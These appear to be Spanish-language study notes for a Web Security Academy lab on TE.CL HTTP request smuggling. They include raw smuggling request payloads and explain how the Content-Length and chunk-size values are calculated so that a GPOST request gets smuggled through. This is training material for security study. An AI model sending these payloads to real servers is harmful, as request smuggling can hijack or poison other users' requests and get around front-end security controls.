02 - HTTP request smuggling, basic TE.CL vulnerability

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Aquí el frontend pillará hasta el 0 y el backend pillará 8\r\n
Se colará SMUGGLED\r\n0

Vamos a tener que quitar la opción de Update Content length para que no se actualice automáticamente:

Acordarse de usar HTTP1.1

https://youtu.be/kIRIV-BwBTE

Si nos peta el LAB, es porque una de las dos partes se ha quedado rallada, necesitamos enviar una request normal indicando un content length válido :

POST / HTTP/2
Host: 0a1700300430f046802e8ab9000800d3.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Para medir 5C tendríamos que pillar hasta el 1 :

  1. El primer Content-Length es 4 porque el backend pillará 5c\r\n como la primera request y el resto como la segunda.
POST / HTTP/1.1\r\n
Host: 0a1700300430f046802e8ab9000800d3.web-security-academy.net\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 11\r\n
\r\n
x=1\r\n
0\r\n
\r\n

  1. Es 5c porque es lo que mide la request que le llega al frontend
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 11
  1. El segundo Content-Length es 11 porque es lo que mide el body de la request smuggleada +1 , para que al hacer la petición normal nos venga la respuesta de la del GPOST:
x=1\r\n
0\r\n
\r\n